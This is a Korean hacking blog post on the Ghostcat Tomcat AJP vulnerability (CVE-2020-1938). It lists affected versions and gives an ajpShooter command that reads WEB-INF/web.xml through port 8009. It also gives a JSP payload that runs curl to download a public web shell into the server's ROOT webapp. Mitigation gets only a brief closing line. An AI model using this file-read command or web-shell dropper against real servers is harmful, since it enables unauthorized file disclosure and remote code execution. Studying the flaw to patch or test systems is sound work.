Ghost cat tomcat취약점

Captainjack·2022년 12월 25일
0

Web hacking

목록 보기
2/6
  1. 취약점
    Tomcat AJP 프로토콜의 결함으로 인해 발생한 해당 취약점으로
    서버의 디렉토리에 접근하여 파일을 읽을 수 있다. 파일을 업로드까지 되는 사이트라면 웹셀을 업로드해서 실행시키기도 가능하다.

https://nvd.nist.gov/vuln/detail/CVE-2020-1938

  1. 개요
    Tomcat은 8080 포트를 사용하는 HTTP Connector, 8009 포트를 사용하는 AJP Connector, 두 개의 커넥터로 구성되고 있습니다. HTTP 커넥터는 우리가 자주 사용하는 HTTP 웹 서비스를 제공하는데 사용되고 있으며, AJP 커넥터는 AJP(Apache Jserv Protocol) 프로토콜을 사용하는데 HTTP 프로토콜의 성능 최적화를 위해 사용됩니다. Tomcat은 AJP를 Apache HTTPD 웹서버나 다른 톰캣 인스턴스와 데이터를 교환하기 위해 사용합니다. 따라서, Tomcat에서 디폴트로 AJP 커넥터가 활성화되어 있고, 8009 포트로 열려있기 때문에 공격자는 AJP 버그를 이용해 서버 내 파일 읽기/쓰기(파일 업로드 허용하는 경우)가 가능합니다.

  2. 취약한 버전

  • Apache Tomcat 9.0.30 포함한 이전 버전 < 9.0.31
  • Apache Tomcat 8.5.50 포함한 이전 버전 < 8.5.51
  • Apache Tomcat 7.0.99 포함한 이전 버전 < 7.0.100
  • Apache Tomcat 6.x

웹상에 해당 주소 /WEB-INF/web.xml로 접근시 오류가 나지만

ajp슈터를 이용하여 접근하면 파일을 읽을 수가 있다.

python3 ajpShooter.py http://127.0.0.1 8009 /WEB-INF/web.xml read

맨뒤에 명령어 read시 파일 읽기, .eval시 파일 실행 !

만약에 경로가 안맞으면 500번 에러가 뜰것이다. 경로가 제일 중요하다. 위에서 부터 차근차근 접근하기.

읽기 성공했다면 200번 코드와 해당 파일의 내용을 확인할 수 있다.

test. txt // hackme hackme

=> 200번실행시 hackme hackme 출력 확인


웹셀

 <% Runtime.getRuntime().exec("cmd.exe /C curl -o ..//webapps//ROOT//cmd.jsp https://raw.githubusercontent.com/tennc/webshell/master/fuzzdb-webshell/jsp/cmd.jsp"); %>
  • 대상의 컴퓨터가 윈도우라도 \webapps\ROOT\cmd.jsp 이렇게 쓰니까 실행이 안되서 다시 바꿔주었다.

성공했다면 cmd 파일이 생성 될 탠데 기존의 해당 프로그램.txt은 확장자를 수정할 필요없이 잘 jsp로 동작한다.

또한 경로가 맞지않아서 생성이 되지 않은경우가 많아서 위에 경로를 하나씩 수정해가면서 확인해야한다.



참고

https://ddungkill.tistory.com/129

ajp shooter - https://github.com/00theway/Ghostcat-CNVD-2020-10487#readme

ajp 명령어 정리


대응방안

Apache Tomcat 최신 버전으로 업데이트 권고. 업데이트가 불가능 할 경우, server.xml 파일에서 AJP 프로토콜 비활성화 또는 사용자 검증 코드 추가

<AJP 프로토콜 활성화>

<AJP 프로토콜 비활성화>

<사용자 검증 코드 추가>

profile
til' CTF WIN

0개의 댓글